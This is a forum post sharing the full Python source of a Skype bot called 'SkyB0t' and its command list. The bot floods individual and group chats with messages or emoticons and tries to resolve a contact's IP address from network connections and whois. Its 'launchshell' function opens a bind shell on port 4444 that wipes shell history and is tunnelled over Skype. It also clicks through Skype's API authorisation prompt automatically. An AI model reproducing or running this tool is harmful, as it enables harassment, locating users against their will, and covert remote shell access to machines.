Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[python] skype bot
#1
commands:
ls ONLINE/OFFLINE - Display friends status
chat USER - Enter into chat mode with USER
msg USER MESSAGE - Message USER with MESSAGE
flood USER TIMES MESSAGE - Flood USER TIMES with MESSAGE
eflood USER TIMES - Flood USER TIMES with random emoticons
egroupflood TIMES - Flood any group chat TIMES with random emoticons
groupflood TIMES MESSAGE - Flood any group chat TIMES with MESSAGE
call USER - Call USER
search USER - Search for USER
add USER - Add USER to contacts
send USER - Send a file to USER
resolve USER - Attempt to resolve USER IP address
isabot USER - Check if USER is running SkyB0t
cmdshellserver USER - Spawn a command shell and tunnel over skype to USER
cmdshellclient USER - Connect to a command shell tunneled over skype from USER
history USER FILE - Dump chat history with USER to FILE
voice ON/OFF SPEED PITCH - On or off, speed (80-450 default: 175), pitch (0-99 default: 50)
callhistory - Open call history in client
contacts - Open contacts in client
info USER - Open USER profile in client
status STATE - Change your status to STATE
tunnelserver USER PORT - Serve local PORT to USER through skype tunnel
tunnelclient USER PORT - Access tunneled service of USER on local PORT
cleverbot - Get cleverbot to answer all your chat messages
debug - Show Skype API debug
show - Show the Skype client
hide - Hide the Skype client

Code:
#!/usr/bin/python
# -*- coding: utf-8 -*-


try:
   import sys, os, subprocess, socket, time, Skype4Py, random, readline, re, pty, string, threading, signal
except ImportError as e:
   print ' [X] Import Error: ' + str(e) + '\n\n [*] Please run:\nsudo apt-get install python-pip xdotool espeak;sudo pip install Skype4Py\n'
   exit()

if not subprocess.Popen(['which', 'xdotool'], stdout=subprocess.PIPE).communicate()[0] or not subprocess.Popen(['which', 'espeak'], stdout=subprocess.PIPE).communicate()[0]:
   print " [X] Dependency Error: please run:\nsudo apt-get install xdotool espeak\n"
   exit()

sys.path.append(os.getcwd() + '/modules/')
import cleverbot

class Printer():
   def __init__(self,data):
       sys.stdout.write("\r\x1b[K"+data.__str__())
       sys.stdout.flush()

def fhelp():
   print '\n ' + redtext + 'SkyB0t' + resettext + ''' Commands:
''' + greentext + ' ls' + resettext + ''' ONLINE/OFFLINE           -   Display friends status
''' + greentext + ' chat' + resettext + ''' USER                   -   Enter into chat mode with USER
''' + greentext + ' msg' + resettext + ''' USER MESSAGE            -   Message USER with MESSAGE
''' + greentext + ' flood' + resettext + ''' USER TIMES MESSAGE    -   Flood USER TIMES with MESSAGE
''' + greentext + ' eflood' + resettext + ''' USER TIMES           -   Flood USER TIMES with random emoticons
''' + greentext + ' egroupflood' + resettext + ''' TIMES           -   Flood any group chat TIMES with random emoticons
''' + greentext + ' groupflood' + resettext + ''' TIMES MESSAGE    -   Flood any group chat TIMES with MESSAGE
''' + greentext + ' call' + resettext + ''' USER                   -   Call USER
''' + greentext + ' search' + resettext + ''' USER                 -   Search for USER
''' + greentext + ' add' + resettext + ''' USER                    -   Add USER to contacts
''' + greentext + ' send' + resettext + ''' USER                   -   Send a file to USER
''' + greentext + ' resolve' + resettext + ''' USER                -   Attempt to resolve USER IP address
''' + greentext + ' isabot' + resettext + ''' USER                 -   Check if USER is running SkyB0t
''' + greentext + ' cmdshellserver ' + resettext + ''' USER        -   Spawn a command shell and tunnel over skype to USER
''' + greentext + ' cmdshellclient ' + resettext + ''' USER        -   Connect to a command shell tunneled over skype from USER
''' + greentext + ' history' + resettext + ''' USER FILE           -   Dump chat history with USER to FILE
''' + greentext + ' voice' + resettext + ''' ON/OFF SPEED PITCH    -   On or off, speed (80-450 default: 175),  pitch (0-99 default: 50)
''' + greentext + ' callhistory' + resettext + '''                 -   Open call history in client
''' + greentext + ' contacts' + resettext + '''                    -   Open contacts in client
''' + greentext + ' info' + resettext + ''' USER                   -   Open USER profile in client
''' + greentext + ' status' + resettext + ''' STATE                -   Change your status to STATE
''' + greentext + ' tunnelserver' + resettext + ''' USER PORT      -   Serve local PORT to USER through skype tunnel
''' + greentext + ' tunnelclient' + resettext + ''' USER PORT      -   Access tunneled service of USER on local PORT
''' + greentext + ' cleverbot' + resettext + '''                   -   Get cleverbot to answer all your chat messages
''' + greentext + ' debug' + resettext + '''                       -   Show Skype API debug
''' + greentext + ' show' + resettext + '''                        -   Show the Skype client
''' + greentext + ' hide' + resettext + '''                        -   Hide the Skype client'''

def talk(words):
   if voice:
       os.system('espeak -s ' + str(speed) + ' -p ' + str(pitch) + ' "'+ str(words) + '" 2> /dev/null&')

def ls(status):
   print ''
   a, b = '', ''
   for user in s.Friends:
       if user.Handle == 'echo123':
           continue
       if user.NumberOfAuthBuddies != 0:
           a = '\tFriends: ' + str(user.NumberOfAuthBuddies)
       if user.Country or user.City:
           b = '\t' + yellowtext + user.City + '\t' + user.Country + resettext
       if user.OnlineStatus != 'OFFLINE':
           if status.lower() == 'online' or status.lower() == 'all':
               print(greentext + user.Handle + resettext + ' (' + user.FullName + ')' + '\t' + bluetext + user.OnlineStatus + resettext + a + b )
       else:
           if status.lower() == 'offline' or status.lower() == 'all':
               print(redtext + user.Handle + resettext + ' (' + user.FullName + ')' + '\t' + bluetext + user.OnlineStatus + resettext + a + b )

def OnAttach(status):
   print ' API attachment status: ' + greentext + s.Convert.AttachmentStatusToText(status) + resettext

def runcmd(cmd):
   s.SendCommand(s.Command(cmd))

def msg(user, times, message):
   cnt, m = 0, ''
   while cnt < int(times):
       cnt += 1
       m += ' '.join(message)
       s.SendMessage(user, m)

def chat(user):
   global chatstat, chatuser
   if not checkname(user):
       print redtext + user + resettext + ' not found!'
       return
   print greentext + ' [*] ' + resettext + 'Chatting with ' + greentext + user + resettext + '. type ' + redtext + "'exit'" + resettext + ' to go back to main menu.\n'
   cmd = ''
   chatstat, chatuser = True, user
   while True:
       try:
           cmd = raw_input('\r(' + user + ')' + greentext + ' > ' + resettext)
           if cmd == 'exit':
               chatstat = False
               print '\n\r ' + redtext + '[*] ' + resettext + 'Returned to main menu.'
               return
           c = cmd.split(' ')
           msg(user, 1, c)
       except:
           exit()    

def history(user, ofile):
   chats = s.Chats
   cnt = 1
   print '\r ' + bluetext + '[*] ' + resettext + 'Dumping messages for ' + greentext + user + resettext + ' to ' + greentext + ofile + resettext + ' in the background..'
   Printer(bluetext + '> ' + resettext)
   o = open(ofile.strip('\n'), 'w')
   for c in chats:
       for m in c.Messages:
           if m.FromHandle == user:
               o.write(m.Body + '\n')
       cnt += 1
   o.close()
   print '\n\r ' + greentext + '[*] ' + resettext + 'History for ' + greentext + user + resettext + ' dumped.'
   Printer(bluetext + '> ' + resettext)

def launchshell():
   cmd = '''python -c "import os,pty,socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.bind(('', 4444));s.listen(1);(rem, addr)=s.accept()''' \
   ''';os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');s.close()"'''
   os.popen(cmd)

def fdebug():
   time.sleep(0.2)
   p = subprocess.Popen(['dbus-monitor', "interface=com.Skype.API.Client"])
   p.communicate()

def OnMessageStatus(Message, Status):
   if Status != 'RECEIVED':
       return
   global body
   body, senderhandle, senderdispname = Message.Body, Message.FromHandle, Message.FromDisplayName
   fullmsg = body.strip('\n')
   c = fullmsg.split(' ')

   if clevertime:
       print('\r [' + time.strftime('%H:%M:%S') + '] ' + senderhandle + ': ' + bluetext + body + resettext)
       talk(body)
       botresponse = cb.Ask(fullmsg).split("\x0D")[0].lower().strip('\n')
       banwords = ['clevertweet', 'clevermessage', 'cleverbot', 'cleverscript', 'cleverme']
       for w in banwords:
           if re.findall(w, botresponse):
               botresponse = cb.Ask(fullmsg).split("\x0D")[0].lower().strip('\n')
               break
       print('\r [' + time.strftime('%H:%M:%S') + '] Cleverbot: ' + greentext + botresponse + resettext)
       s.SendMessage(senderhandle, botresponse)
       talk(botresponse)
       if chatstat:
           Printer('(' + chatuser + ')' + greentext + ' > ' + resettext)
       else:
           Printer(bluetext + '> ' + resettext)
       return

   iscmd = False
   rcmds = [ 'ping ', 'whois ', 'traceroute ', 'dig ']
   for c in rcmds:
       if body.startswith(c):
           iscmd = True

   if iscmd:
       if len(c) == 2:
           if cleaninput(fullmsg) == '#':
               pass
           else:
               s.SendMessage(senderhandle, ' (cash) Processing ' + cleaninput(c[0]) + ' command..')
               if fullmsg.startswith('ping '):
                   a = os.popen('ping -c 2 -s.2 ' + cleaninput(c[1]))
               else:
                   a = os.popen(cleaninput(c[0]) + ' ' + cleaninput(c[1]))
           try:
               s.SendMessage(senderhandle, a.read())
               talk('command received from ' + senderhandle + ', ' + cleaninput(c[0]) + ' processing.')
           except:
               s.SendMessage(senderhandle, ' (6) illegal command! (' + fullmsg + ')')
             
       else:
           s.SendMessage(senderhandle,' (6) illegal command! (' + fullmsg + ')')

   elif fullmsg.startswith('y0? '):
       os.system('echo ' + cleaninput(c[1]) + " | md5sum | md5sum | md5sum | cut -d ' ' -f 1 > /tmp/md5sum")
       fsum = fread('/tmp/md5sum').strip('\n')
       s.SendMessage(senderhandle, '(6) Sup ' + fsum)

   elif fullmsg.startswith('whatis '):
       if cleaninput(c[1]) != '#':
           s.SendMessage(senderhandle, ' (cash) Finding out what ' + cleaninput(c[1]) + ' is..')
           s.SendMessage(senderhandle, '')
           sortcmd = ''' | grep '<meta name="description" content="' | cut -d '"' -f 4 | cut -d ',' -f 2-99 | head -c -10 > /tmp/def'''
           os.system('''curl -s http://dictionary.reference.com/browse/''' + cleaninput(c[1]) + sortcmd)
           s.SendMessage(senderhandle, fread('/tmp/def'))
       else:
           s.SendMessage(senderhandle,' (6) illegal command! (' + fullmsg + ')')

   elif fullmsg.lower().startswith('wolf '):
       know = ''
       s.SendMessage(senderhandle, ' (cash) Wolf is thinking..')
       s.SendMessage(senderhandle, '')
       os.system( 'modules/wolf.sh ' + cleaninput(' '.join(c[1:]).replace('?', '')))
       with open('/tmp/wolf', 'r') as ifile:
           for line in ifile:
               know += line
           if len(know) > 1:
               s.SendMessage(senderhandle, know)
           else:
               s.SendMessage(senderhandle, ' [*] wolf does not know, please re-phrase your question.')

   elif fullmsg.startswith('(6) Sup '):
       if c[2] == checksum:
           print greentext + ' [*] ' + senderhandle + resettext + ' is a confirmed ' + redtext + 'SkyB0t.' + resettext

   else:
       if cleaninput(body) == '#':
           if iscmd:
               print('\r [' + time.strftime('%H:%M:%S') + '] ' + senderhandle + ': ' + redtext + body + resettext)
           else:
               print('\r [' + time.strftime('%H:%M:%S') + '] ' + senderhandle + ': ' + bluetext + body + resettext)
       else:
           if iscmd:
               print('\r [' + time.strftime('%H:%M:%S') + '] ' + senderhandle + ': ' + greentext + body + resettext)
           else:
               print('\r [' + time.strftime('%H:%M:%S') + '] ' + senderhandle + ': ' + bluetext + body + resettext)
       talk(fullmsg)

   if chatstat:
       Printer('(' + chatuser + ')' + greentext + ' > ' + resettext)
   else:
       Printer(bluetext + '> ' + resettext)

def cleaninput(input):
   if re.match(r'^[A-Za-z0-9. ]+$', input):
       return input
   else:
       return '#'

def fread(ofile):
   readf = open(ofile, 'r')
   return readf.read()
   readf.close()

def fresolve(user):
   fm = s.SendMessage(user, '')
   print greentext + ' [*] ' + resettext + 'Attempting to resolve ' + redtext + user + resettext + '\n'
   time.sleep(4)
   os.system("netstat -tupan | grep skype | grep -v '0.0.0.0' | cut -d ' ' -f 16 | cut -d ':' -f 1 | head -n 1 > /tmp/skypeip")
   myip = fread('/tmp/skypeip')
   os.system("netstat -tupan | grep skype | grep -v '0.0.0.0' | grep '" + myip + "' | grep ESTABLISHED | cut -d ':' -f 2 | cut -d ' ' -f 2- | tr -d ' ' > /tmp/ips")
   skypeips = fread('/tmp/ips').strip().split('\n')
   for ip in skypeips:
       os.system('whois ' + ip + ' > /tmp/whois')
       whoisdata = fread('/tmp/whois')
       if re.findall('Skype', whoisdata) or re.findall('Microsoft', whoisdata):
           pass
       else:
           print greentext + ip + resettext + ' :'
           for line in open("/tmp/whois"):
               if "desc" in line.lower() or "country" in line.lower() or "orgname" in line.lower() or "netname" in line.lower():
                   print line.strip('\n')
           print

def checkbot(user):
   global checksum
   randstr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in range(random.randint(26,60)))
   os.system('echo ' + randstr + " | md5sum | md5sum | md5sum | cut -d ' ' -f 1 > /tmp/md5chk")
   checksum = fread('/tmp/md5chk').strip('\n')
   s.SendMessage(user, 'y0? ' + randstr)

def checkname(user):
   for f in s.Friends:
       if f.Handle == user:
           return True

def ftunnel(user, port, server, channel):
   if server:
       os.popen(os.getcwd() + '/modules/' + 'skypetunnel.py -c ' + channel + ' -a 127.0.0.1:' + port + ' 2> /dev/null')
   else:
       os.popen(os.getcwd() + '/modules/' + 'skypetunnel.py -p ' + port + ' -u ' + user + ':' + channel + ' 2> /dev/null')

def complete(text, state):
   cmds  = [ 'cleverbot', 'flood ', 'groupflood ', 'egroupflood ', 'msg ', 'cmdshellserver ', 'cmdshellclient ', 'tunnelserver ',
   'tunnelclient ', 'search ', 'isabot ', 'history ', 'help', 'voice ', 'chat ', 'ls', 'exit', 'call ', 'eflood ', 'online',
   'offline', 'send ', 'add ', 'show', 'hide', 'info ', 'callhistory', 'contacts', 'debug', 'status ', 'away', 'invisible', 'resolve ']
   for f in s.Friends:
       if f.Handle != 'echo123':
           cmds.append(f.Handle)
   for cmd in cmds:
       if cmd.startswith(text):
           if not state:
               return cmd
           else:
               state -= 1

def fexit(signum = 0, frame = 0):
   exit()

def xdo(x, y, z):
   if z:
       return subprocess.Popen(['/usr/bin/xdotool', x, y, z], stdout=subprocess.PIPE).communicate()[0]
   else:
       return subprocess.Popen(['/usr/bin/xdotool', x, y], stdout=subprocess.PIPE).communicate()[0]

def movenclick(x, y, search):
   cmd = "/usr/bin/xdotool"
   windowid = subprocess.Popen([cmd, 'search', '--name', search], stdout=subprocess.PIPE).communicate()[0]
   if windowid:
       subprocess.Popen([cmd, 'windowactivate', windowid])
       subprocess.Popen([cmd, 'windowmove', windowid, '0', '0'])
       if search == 'Skype API':
           print ' Auto authenticating..'
           subprocess.Popen([cmd, 'mousemove', str(80), str(150)], stdout=subprocess.PIPE).communicate()[0]
           subprocess.Popen([cmd, 'click', '1'], stdout=subprocess.PIPE).communicate()[0]
       subprocess.Popen([cmd, "mousemove", str(x), str(y)], stdout=subprocess.PIPE).communicate()[0]
       time.sleep(0.3)
       subprocess.Popen([cmd, 'click', '1'], stdout=subprocess.PIPE).communicate()[0]

def eflood(user, times):
   cnt, m = 0, ''
   while cnt < int(times):
       cnt += 1
       m = "".join([random.choice(emoticons) for n in xrange(random.randint(60,250))])
       s.SendMessage(user, m)

def fcmdclient():
   os.system("gnome-terminal -e 'ncat 127.0.0.1 4444' 2> /dev/null")

def menu(cmd):
   c = cmd.strip('\n').split(' ')
   jc = ' '.join(c[1:])
   if cmd.startswith('flood'):
       try:
           if checkname(c[1]):
               user, times, message = c[1], c[2], c[3:]
               msg(user, times, message)
               talk(user + ' got flooded!')
       except:
           print ' Usage: flood username times message'

   elif cmd.startswith('groupflood '):
       for gc in s.ActiveChats:
           if len(gc.Members) <= 2:
               continue
           cnt, m = 0, ''
           message = c[2:]
           while cnt < int(c[1]):
               cnt += 1
               m += ' '.join(message)
               gc.SendMessage(m)

   elif cmd.startswith('egroupflood '):
       for gc in s.ActiveChats:
           if len(gc.Members) <= 2:
               continue
           cnt = 0
           while cnt < int(c[1]):
               m = "".join([random.choice(emoticons) for n in xrange(random.randint(60,250))])
               cnt += 1
               gc.SendMessage(m)
             
   elif cmd.startswith('eflood'):
       try:
           if checkname(c[1]):
               eflood(c[1], c[2])
               talk(c[1] + ' got eflooded!')
       except:
           print ' Usage: eflood username times'

   elif cmd.startswith('run '):
       print 'running (' + jc + ')'
       runcmd(jc)

   elif cmd.startswith('resolve '):
       if checkname(c[1]):
           fresolve(c[1])

   elif cmd.startswith('cleverbot'):
       global clevertime
       if not clevertime:
           clevertime = True
           print greentext + ' [*] ' + resettext + 'Cleverbot will now respond to all chat messages'
       else:
           clevertime = False
           print greentext + ' [*] ' + resettext + 'Cleverbot disabled'

   elif cmd.startswith('info '):
       runcmd('OPEN USERINFO ' + jc)
       w = xdo('search', '--name', 'Profile for ')
       xdo('windowactivate', w, '')

   elif cmd.startswith('tunnelclient '):
       t = threading.Thread(target = ftunnel, args = (c[1], c[2], False, '0'))
       t.start()
       print greentext + ' [*] ' + resettext + 'You can now access ' + c[1] + "'s tunneled port from 127.0.0.1:" + c[2]

   elif cmd.startswith('tunnelserver '):
       t = threading.Thread(target = ftunnel, args = (c[1], c[2], True, '0'))
       t.start()
       print greentext + ' [*] ' + resettext + 'Your service on port ' + c[2] + ' can now be accessed by ' + c[1]

   elif cmd.startswith('cmdshellclient '):
       if checkname(c[1]):
           t = threading.Thread(target = ftunnel, args = (c[1], "4444", False, '1'))
           t.start()
           time.sleep(0.4)
           print greentext + ' [*] ' + resettext + 'Attempting to connect to ' + greentext + c[1] + resettext + "'s cmd shell server."
           t2 = threading.Thread(target = fcmdclient)
           t2.start()
       else:
           print ' Usage: cmdshellclient username'

   elif cmd.startswith('cmdshellserver '):
       if checkname(c[1]):
           t = threading.Thread(target = ftunnel, args = (c[1], "4444", True, '1'))
           t.start()
           print greentext + ' [*] ' + resettext + 'Launching cmd shell server to ' + greentext + c[1] + resettext
           t2 = threading.Thread(target = launchshell)
           t2.start()
       else:
           print ' Usage: cmdshellserver username'

   elif cmd.startswith('callhistory'):
       runcmd('OPEN CALLHISTORY')

   elif cmd.startswith('search '):
       for user in s.SearchForUsers(c[1]):
           if user.Country or user.City:
               a = '\t' + yellowtext + user.City + '\t' + user.Country + resettext
           print(greentext + user.Handle + resettext + ' (' + user.FullName + ')' + '\t' + a )

   elif cmd.startswith('debug'):
       t = threading.Thread(target = fdebug)
       t.start()
       time.sleep(0.3)
       Printer(greentext + '[*] ' + resettext + ' Debug output turned on\n')

   elif cmd.startswith('contacts'):
       runcmd('OPEN CONTACTS')

   elif cmd.startswith('msg '):
       if checkname(c[1]):
           msg(c[1], 1, c[2:])
       else:
           print ' Usage: msg username message'

   elif cmd.startswith('ls'):
       try:
           ls(c[1])
       except:
           ls('all')

   elif cmd.startswith('isabot '):
       try:
           if checkname(c[1]):
               checkbot(c[1])
       except:
           print ' Usage: isabot username'

   elif cmd.startswith('send '):
       try:
           if checkname(c[1]):
               runcmd('OPEN FILETRANSFER ' + c[1])
           else:
               print c[1] + ' is not a valid user!'
       except:
           print ' Usage: send username'

   elif cmd.startswith('online'):
       ls('online')

   elif cmd.startswith('add '):
       try:
           s.Client.OpenAddContactDialog(c[1])
           movenclick(530, 407, "Say Hello to")
       except:
           print ' Usage: add username'

   elif cmd.startswith('offline'):
       ls('offline')

   elif cmd.startswith('exit') or cmd == 'q' or cmd == 'e':
       exit()

   elif cmd.startswith('show'):
       client.Focus()
       w = xdo('search', '--name', ' - Skype').split('\n')
       xdo('windowactivate', w[0], '')

   elif cmd.startswith('hide'):
       client.Minimize()

   elif cmd.startswith('status '):
       try:
           s.ChangeUserStatus(c[1])
       except:
           print ' Usage: status online/away/offline/invisible'

   elif cmd.startswith('call '):
       if checkname(c[1]):
           s.PlaceCall(c[1])

   elif cmd.startswith('help') or cmd == '?':
       fhelp()

   elif cmd.startswith('chat'):
       if checkname(c[1]):
           chat(c[1])

   elif cmd.startswith('voice'):
       try:
           if c[1].lower() == 'off':
               global voice
               voice = False
               print '\n\r ' + redtext + '[*] ' + resettext + 'Voice turned off.'
           else:
               speed = c[2]
               pitch = c[3]
               if int(speed) > 450 or int(pitch) > 99 or int(speed) < 80:
                   print ' Usage: voice on/off speed pitch\n Maximum speed 80-450 and pitch 0-99'
               else:
                   if c[1].lower() == 'on':
                       voice = True
                       print '\n\r ' + greentext + '[*] ' + resettext + 'Voice turned on, speed: ' + speed + ', pitch: ' + pitch + '.'
       except:
           print ' Usage: voice on/off speed pitch\n speed 80-450 and pitch 0-99'
     
   elif cmd.startswith('history'):
       try:
           if checkname(c[1]):
               t = threading.Thread(target = history, args = (c[1], c[2]))
               t.start()
       except:
           print ' Usage: history username /path/to/outfile'

   elif c[0]:
       print redtext + ' Error' + resettext + ': ' + bluetext + c[0] + resettext + ' command not found, ? for help'


voice, cmd, chatstat, speed, pitch = True, '', False, 175, 50
bluetext = '\033[01;34m'
greentext = '\033[01;32m'
redtext = '\033[01;31m'
yellowtext = '\033[01;33m'
resettext = '\033[0m'
emoticons = [':)', ':(', ':D', '(cool)', ':O', ';)', ';(', '(:|', ':|', ':*', ':P', ':$', ':^)', '|-)', '|-(', '(inlove)', ']:)', '(yn)', '(yawn)',
'(puke)', '(doh)', '(angry)', '(wasntme)', '(party)', '(worry)', '(mm)', '(nerd)', ':x', '(wave)', '(facepalm)', '(devil)', '(angel)', '(envy)',
'(wait)', '(hug)', '(makeup)', '(chuckle)', '(clap)', '(think)', '(bow)', '(rofl)', '(whew)', '(happy)', '(smirk)', '(nod)', '(shake)', '(waiting)',
'(emo)', '(y)', '(n)', '(handshake)', '(highfive)', '(heart)', '(lalala)', '(heidy)', '(F)', '(rain)', '(sun)', '(tumbleweed)', '(music)', '(bandit)',
'(tmi)', '(coffee)', '(pi)', '(cash)', '(flex)', '(^)', '(beer)', '(d)', '\o/', '(ninja)', '(*)', '(finger)', '(drunk)', '(ci)', '(toivo)', '(rock)',
'(headbang)', '(bug)', '(fubar)', '(poolparty)', '(swear)', '(mooning)', '(hug)', '(kate)', '(whew)', '(punch)', '(ss)', '(u)', '(e)', '(london)',
'(time)', '(~)', '(ph)' ]

readline.parse_and_bind("tab: complete")
readline.set_completer(complete)
signal.signal(signal.SIGINT, fexit)
cb = cleverbot.Session()
clevertime = False

def attach():
   s.Attach()

s = Skype4Py.Skype()
client = s.Client
s.OnAttachmentStatus = OnAttach
s.OnMessageStatus = OnMessageStatus
s.FriendlyName = "d4rkcat's^SkyB0t"
if client.IsRunning == 0 :
   client.Start()
   raw_input(bluetext + '[>] ' + resettext + 'Please authenticate to Skype then press Enter to continue.\n')

print('***************************************')
print redtext + " d4rkcat's SkyB0t Initializing.." + resettext
print ' Injecting into Skype..'

try:
   t = threading.Thread(target = attach)
   t.start()
   time.sleep(0.1)
   t2 = threading.Thread(target = movenclick, args = (270, 185, 'Skype API'))
   t2.start()

except:
   print redtext + ' Error' + resettext + ': please authenticate to skype first.'
   exit()
time.sleep(0.5)
print('***************************************')

while True:
   try:
       menu(raw_input('\r' + bluetext + '> ' + resettext))
   except:
       print ''
       exit()
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)